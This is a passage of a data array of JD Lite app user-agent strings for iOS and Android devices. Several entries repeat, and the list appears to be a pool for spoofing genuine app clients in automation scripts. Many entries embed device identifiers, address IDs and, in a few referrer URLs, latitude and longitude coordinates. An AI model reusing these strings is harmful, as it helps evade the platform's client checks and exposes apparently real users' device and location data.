'jdltapp;iPhone;3.7.0;14.4;2d306ee3cacd2c02560627a5113817ebea20a2c9;network/4g;ADID/A346F099-3182-4889-9A62-2B3C28AB861E;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,3;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.35;apprpd/Allowance_Registered;ref/JDLTTaskCenterViewController;psq/0;ads/;psn/2d306ee3cacd2c02560627a5113817ebea20a2c9|2;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;28355aff16cec8bcf3e5728dbbc9725656d8c2c2;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/833058617;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.10;apprpd/;ref/JDLTWebViewController;psq/9;ads/;psn/28355aff16cec8bcf3e5728dbbc9725656d8c2c2|5;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;24ddac73a3de1b91816b7aedef53e97c4c313733;network/4g;ADID/598C6841-76AC-4512-AA97-CBA940548D70;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone11,6;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/12.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/24ddac73a3de1b91816b7aedef53e97c4c313733|23;jdv/0|kong|t_1000170135|tuiguang|notset|1614126110904|1614126110;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone12,1;addressid/25239372;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/8.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/d7732ba60c8ff73cc3f5ba7290a3aa9551f73a1b|14;jdv/0|kong|t_1001226363_|jingfen|5713234d1e1e4893b92b2de2cb32484d|1614182989528|1614182992;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;ca1a32afca36bc9fb37fd03f18e653bce53eaca5;network/wifi;ADID/3AF380AB-CB74-4FE6-9E7C-967693863CA3;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone8,1;addressid/138323416;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/72.12;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/ca1a32afca36bc9fb37fd03f18e653bce53eaca5|109;jdv/0|kong|t_1000536212_|jingfen|c82bfa19e33a4269a5884ffc614790f4|1614141246;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;7346933333666353-8333366646039373;network/wifi;model/ONEPLUS A5010;addressid/138117973;aid/7d933f6583cfd097;oaid/;osVer/29;appBuild/1436;psn/T/eqfRSwp8VKEvvXyEunq09Cg2MUkiQ5|17;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/11.4;jdv/0|kong|t_1001849073_|jingfen|495a47f6c0b8431c9d460f61ad2304dc|1614084403978|1614084407;ref/HomeFragment;partner/oppo;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A5010 Build/QKQ1.191014.012; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;4626269356736353-5353236346334673;network/wifi;model/M2006J10C;addressid/0;aid/dbb9e7655526d3d7;oaid/66a7af49362987b0;osVer/30;appBuild/1436;psn/rQRQgJ 4 S3qkq8YDl28y6jkUHmI/rlX|3;psq/4;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/3.4;jdv/;ref/HomeFragment;partner/xiaomi;apprpd/Home_Main;eufv/1;Mozilla/5.0 (Linux; Android 11; M2006J10C Build/RP1A.200720.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045513 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;78fc1d919de0c8c2de15725eff508d8ab14f9c82;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,1;addressid/137829713;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/23.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/78fc1d919de0c8c2de15725eff508d8ab14f9c82|34;jdv/0|iosapp|t_335139774|appshare|Wxfriends|1612508702380|1612534293;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;0373263343266633-5663030363465326;network/wifi;model/Redmi Note 7;addressid/590846082;aid/07b34bf3e6006d5b;oaid/17975a142e67ec92;osVer/29;appBuild/1436;psn/OHNqtdhQKv1okyh7rB3HxjwI00ixJMNG|4;psq/3;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.3;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;3636566623663623-1693635613166646;network/wifi;model/ASUS_I001DA;addressid/1397761133;aid/ccef2fc2a96e1afd;oaid/;osVer/29;appBuild/1436;psn/T8087T0D82PHzJ4VUMGFrfB9dw4gUnKG|76;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/73.5;jdv/0|kong|t_1002354188_|jingfen|2335e043b3344107a2750a781fde9a2e#/|1614097081426|1614097087;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/yingyongbao;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ASUS_I001DA Build/QKQ1.190825.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;addressid/138419019;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.7;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/6;ads/;psn/4ee6af0db48fd605adb69b63f00fcbb51c2fc3f0|9;jdv/0|direct|-|none|-|1613705981655|1613823229;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/F9FD7728-2956-4DD1-8EDD-58B07950864C;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/1346909722;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/30.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/40d4d4323eb3987226cae367d6b0d8be50f2c7b3|39;jdv/0|kong|t_1000252057_0|tuiguang|eba7648a0f4445aa9cfa6f35c6f36e15|1613995717959|1613995723;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;ADID/5D306F0D-A131-4B26-947E-166CCB9BFFFF;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;addressid/138164461;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/7.8;apprpd/;ref/JDLTSubMainPageViewController;psq/7;ads/;psn/d40e5d4a33c100e8527f779557c347569b49c304|7;jdv/0|kong|t_1001226363_|jingfen|3bf5372cb9cd445bbb270b8bc9a34f00|1608439066693|1608439068;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPad;3.7.0;14.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPad8,9;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/;pv/1.20;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/5;ads/;psn/d9f5ddaa0160a20f32fb2c8bfd174fae7993c1b4|3;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.5;Mozilla/5.0 (iPad; CPU OS 14_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/wifi;ADID/31548A9C-8A01-469A-B148-E7D841C91FD0;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/10.5;apprpd/;ref/JDLTSubMainPageViewController;psq/4;ads/;psn/a858fb4b40e432ea32f80729916e6c3e910bb922|12;jdv/0|direct|-|none|-|1613898710373|1613898712;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,2;addressid/2237496805;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/13.6;apprpd/;ref/JDLTSubMainPageViewController;psq/5;ads/;psn/48e495dcf5dc398b4d46b27e9f15a2b427a154aa|15;jdv/0|direct|-|none|-|1613354874698|1613952828;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;3346332626262353-1666434336539336;network/wifi;model/ONEPLUS A6000;addressid/0;aid/3d3bbb25af44c59c;oaid/;osVer/29;appBuild/1436;psn/ECbc2EqmdSa7mDF1PS1GSrV/Tn7R1LS1|6;psq/8;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/2.67;jdv/0|direct|-|none|-|1613822479379|1613991194;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/oppo;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; ONEPLUS A6000 Build/QKQ1.190716.003; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;8.1.0;8363834353530333132333132373-43D2930366035323639333662383;network/wifi;model/16th Plus;addressid/0;aid/f909e5f2c464c7c6;oaid/;osVer/27;appBuild/1436;psn/c21YWvVr77Hn6 pOZfxXGY4TZrre1 UOL5hcPbCEDMo=|3;psq/10;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 8.1.0;osv/8.1.0;pv/2.15;jdv/;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/jsxdlyqj09;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 8.1.0; 16th Plus Build/OPM1.171019.026; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/77.0.3865.120 MQQBrowser/6.2 TBS/045514 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;11;1343467336264693-3343562673463613;network/wifi;model/Mi 10 Pro;addressid/0;aid/14d7cbd934eb7dc1;oaid/335f198546eb3141;osVer/30;appBuild/1436;psn/ZcQh/Wov sNYfZ6JUjTIUBu28 KT0T3u|1;psq/24;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 11;osv/11;pv/1.24;jdv/;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/xiaomi;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 11; Mi 10 Pro Build/RKQ1.200826.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;android;3.7.0;10;8353636393732346-6646931673935346;network/wifi;model/MI 8;addressid/1969998059;aid/8566972dfd9a795d;oaid/4a8b773c3e307386;osVer/29;appBuild/1436;psn/PhYbUtCsCJo r 1b8hwxjnY8rEv5S8XC|383;psq/14;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/374.14;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1609306590175|1609306596;ref/com.jd.jdlite.lib.jdlitemessage.view.activity.MessageCenterMainActivity;partner/jsxdlyqj09;apprpd/MessageCenter_MessageMerge;eufv/1;Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.126 MQQBrowser/6.2 TBS/045140 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;6d343c58764a908d4fa56609da4cb3a5cc1396d3;network/wifi;ADID/4965D884-3E61-4C4E-AEA7-9A8CE3742DA7;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone9,1;addressid/70390480;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.24;apprpd/MyJD_Main;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fafter%2Findex.action%3FcategoryId%3D600%26v%3D6%26entry%3Dm_self_jd;psq/4;ads/;psn/6d343c58764a908d4fa56609da4cb3a5cc1396d3|17;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.6.1;4606ddccdfe8f343f8137de7fea7f91fc4aef3a3;network/4g;ADID/C6FB6E20-D334-45FA-818A-7A4C58305202;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone10,1;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/5.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/4606ddccdfe8f343f8137de7fea7f91fc4aef3a3|5;jdv/0|iosapp|t_335139774|liteshare|Qqfriends|1614206359106|1614206366;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.6.1;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;3b6e79334551fc6f31952d338b996789d157c4e8;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,1;addressid/138051400;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/14.34;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/12;ads/;psn/3b6e79334551fc6f31952d338b996789d157c4e8|46;jdv/0|kong|t_1001707023_|jingfen|e80d7173a4264f4c9a3addcac7da8b5d|1613837384708|1613858760;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;1346235693831363-2373837393932673;network/wifi;model/LYA-AL00;addressid/3321567203;aid/1d2e9816278799b7;oaid/00000000-0000-0000-0000-000000000000;osVer/29;appBuild/1436;psn/45VUZFTZJkhP5fAXbeBoQ0 O2GCB I|7;psq/5;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 10;osv/10;pv/5.8;jdv/0|iosapp|t_335139774|liteshare|CopyURL|1614066210320|1614066219;ref/com.jd.jdlite.lib.personal.view.fragment.JDPersonalFragment;partner/huawei;apprpd/MyJD_Main;eufv/1;Mozilla/5.0 (Linux; Android 10; LYA-AL00 Build/HUAWEILYA-AL00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.3;c2a8854e622a1b17a6c56c789f832f9d78ef1ba7;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPhone12,5;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.9;apprpd/MyJD_Main;ref/MyJdMTAManager;psq/8;ads/;psn/c2a8854e622a1b17a6c56c789f832f9d78ef1ba7|6;jdv/0|direct|-|none|-|1613541016735|1613823566;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;9;;network/wifi;model/MIX 2S;addressid/;aid/f87efed6d9ed3c65;oaid/94739128ef9dd245;osVer/28;appBuild/1436;psn/R7wD/OWkQjYWxax1pDV6kTIDFPJCUid7C/nl2hHnUuI=|3;psq/13;adk/;ads/;pap/JA2020_3112531|3.7.0|ANDROID 9;osv/9;pv/1.42;jdv/;ref/activityId=8a8fabf3cccb417f8e691b6774938bc2;partner/xiaomi;apprpd/jsbqd_home;eufv/1;Mozilla/5.0 (Linux; Android 9; MIX 2S Build/PKQ1.180729.001; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.181 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;android;3.7.0;10;network/wifi;Mozilla/5.0 (Linux; Android 10; Redmi Note 7 Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/88.0.4324.152 Mobile Safari/537.36', + 'jdltapp;iPhone;3.7.0;14.4;network/3g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148', + 'jdltapp;iPad;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/1;lang/zh_CN;model/iPad6,3;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/231.11;pap/JA2020_3112531|3.7.0|IOS 14.4;apprpd/;psn/f5e7b7980fb50efc9c294ac38653c1584846c3db|305;usc/kong;jdv/0|kong|t_1000170135|tuiguang|notset|1613606450668|1613606450;umd/tuiguang;psq/2;ucp/t_1000170135;app_device/IOS;utr/notset;ref/JDLTRedPacketViewController;adk/;ads/;Mozilla/5.0 (iPad; CPU OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;13.5;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone8,1;addressid/669949466;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/9.11;apprpd/;ref/JDLTSubMainPageViewController;psq/10;ads/;psn/500a795cb2abae60b877ee4a1930557a800bef1c|11;jdv/;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 13.5;Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/3g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,4;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/4.47;apprpd/;ref/JDLTSubMainPageViewController;psq/8;ads/;psn/21631ed983b3e854a3154b0336413825ad0d6783|9;jdv/0|direct|-|none|-|1614150725100|1614225882;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone13,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/3.15;apprpd/;ref/https%3A%2F%2Fjdcs.m.jd.com%2Fchat%2Findex.action%3Fentry%3Djd_m_JiSuCommodity%26pid%3D7763388%26lng%3D118.159665%26lat%3D24.504633%26sid%3D31cddc2d58f6e36bf2c31c4e8a79767w%26un_area%3D16_1315_3486_0;psq/12;ads/;psn/c10e0db6f15dec57a94637365f4c3d43e05bbd48|4;jdv/0|;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.4;;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,6;hasOCPay/0;appBuild/1017;supportBestPay/0;addressid/2813715704;pv/67.38;apprpd/MyJD_Main;ref/https%3A%2F%2Fh5.m.jd.com%2FbabelDiy%2FZeus%2F2ynE8QDtc2svd36VowmYWBzzDdK6%2Findex.html%3Flng%3D103.957532%26lat%3D30.626962%26sid%3D4fe8ef4283b24723a7bb30ee87c18b2w%26un_area%3D22_1930_49324_52512;psq/4;ads/;psn/5aef178f95931bdbbde849ea9e2fc62b18bc5829|127;jdv/0|direct|-|none|-|1612588090667|1613822580;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.4;Mozilla/5.0 (iPhone; CPU iPhone OS 14_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'jdltapp;iPhone;3.7.0;14.3;network/4g;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone11,2;addressid/;hasOCPay/0;appBuild/1017;supportBestPay/0;pv/6.28;apprpd/;ref/JDLTRedPacketViewController;psq/3;ads/;psn/d7beab54ae7758fa896c193b49470204fbb8fce9|8;jdv/0|kong|t_1001707023_|jingfen|79ad0319fa4d47e38521a616d80bc4bd|1613800945610|1613824900;adk/;app_device/IOS;pap/JA2020_3112531|3.7.0|IOS 14.3;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) 